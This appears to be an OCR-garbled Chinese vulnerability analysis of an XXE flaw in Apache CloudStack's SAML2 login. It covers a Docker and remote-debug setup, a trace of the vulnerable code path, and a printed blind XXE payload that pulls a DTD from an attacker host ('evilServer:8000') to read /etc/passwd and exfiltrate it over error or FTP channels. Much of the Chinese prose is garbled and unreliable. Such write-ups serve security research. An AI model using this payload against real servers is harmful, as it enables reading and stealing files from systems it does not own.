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IRE BEM
(http://docs.cloudstack.apache.org/en/latest/installguide/b
uilding_from_source.html#downloading—the-release) Z&3%,
BIENF, =EHEIT docker 1Y H]i1%
(https://hub.docker.com/r/ustcweizhou/cloudstack—
simulator) , E#& docker ##23, A& docker #H1TIEAZE
HHMMRERXYHITEZ, BETMHER TR, HEAN 4.17.0.0

docker pull ustcweizhou/cloudstack-simulator
docker run --name cloudstack-simulator -p 8888:5050 -p
9999:9999 -d ustcweizhou/cloudstack-simulator
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//ERBNEEI B RHE—Psupervisord i B X 4
vim supervisord.conf

//ABNT, BEEARBERSNVEMLEMT MideatizfEiBiK, w9999
[supervisord]
nodaemon=true

[program:mysqld]
command=/usr/bin/mysqld_safe
autostart=true
autorestart=true

user=root

[program:cloudstack]

command=/bin/bash -c "export MAVEN_OPTS="'-

agentlib: jdwp=transport=dt_socket,server=y,suspend=n,addre
ss=*:9999" ;mvh -pl client jetty:run -Dsimulator -
Dorg.eclipse. jetty.annotations.maxWait=120"
directory=/root

stdout_logfile=/dev/stdout

stdout_logfile_maxbytes=0

user=root

[program: cloudstack-ui]
command=/bin/bash -c "npm run serve"
directory=/root/ui
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0

user=root

/ /g conf X EHIZITZEA
docker cp supervisord.conf &2
id:/etc/supervisor/conf.d/supervisord.conf

//HENE R
docker exec -it ZAgdid bash

//EFfisupervisord i ERNA
supervisorctl update
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= org.apache.cloudstack.api.command.SAML2LoginAPTAuthenticatorCmd#processSAMLRespor
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/A SAMLResponse Fh—"" key, RETAEEMETE request H{&
R, B TAREEFE Eik

(https://xzfile.aliyuncs.com/media/upload/picture/2022080
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processRequest(
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EERE—T wenxml HE ApiServiet IR AIERE, £ / api /
SHIEA

apiServlet
com.cloud.api.ApiServlet

5

consoleServlet
com.cloud.servlet.ConsoleProxyservlet
6

apiservlet
fapif*

(https://xzfile.aliyuncs.com/media/upload/picture/2022080
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I AE BN TR

B s_authenticators != null && s_authenticators. containsKey(name)
M, apiAuthenticator ZTARNE, HPZWNEHRERN
name =& TE s_authenticators N, T name FhaI1AIIE

A9 command , LEEY command AIERZEAUTH/LMEA SR
%, IUNEBEREBEMMME samlsso ] samislo , ZimEAAE
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payload a1 :

<?xml version="1.0" 7>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM
"http://@evilServer:8000/ev.dtd">
%ext;
1>

<message></message>

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM
'file:///nonexistent/%file; '>">

%eval ;
LAannAn-.
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server i G#IARMERFHIZEBRIE, AEMERTHA ftp th
WTI R (https://github.com/LandGrey/xxe—ftp—server) #17
B2, EEMR—EANKIN, AE&RM CloudStack RIARSS IR
jdk ARZASY openjdk 11.0.15 , MESARAF

7E FtpURLConnection ZEAHLT url #&3M

Path=/client

nfxhtml-+xml applic ation/xml: g=0.9 image/avif image/webp */*;q=0.8
2h-CN,zhy=0.8 zh-TW, q=0.7 2h-HKK;q=0.5 en-US; g=0.3,emq=0.2

(https://xzfile.aliyuncs.com/media/upload/picture/2022080
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SIRITRIATHAN, MRENEFEEMERE, XEMERT
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(https://kylingit.com/blog/java-
xx€%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0
%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%
E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9
%99%90%E5%88%B6/) , FMIIEETE T N ABSARA jdk B9
ftp JoiEF A

1. <7ul4l T <8ul3l : ARZXHEH \ n WEIN

2. >jdk8ul3l : BEBIEE FTP &EiE, INEXHEARABTHER \
n LS

3. >jdk8u232 @ EEBIEE FTP 3%&1E, RE url F&EF \ n
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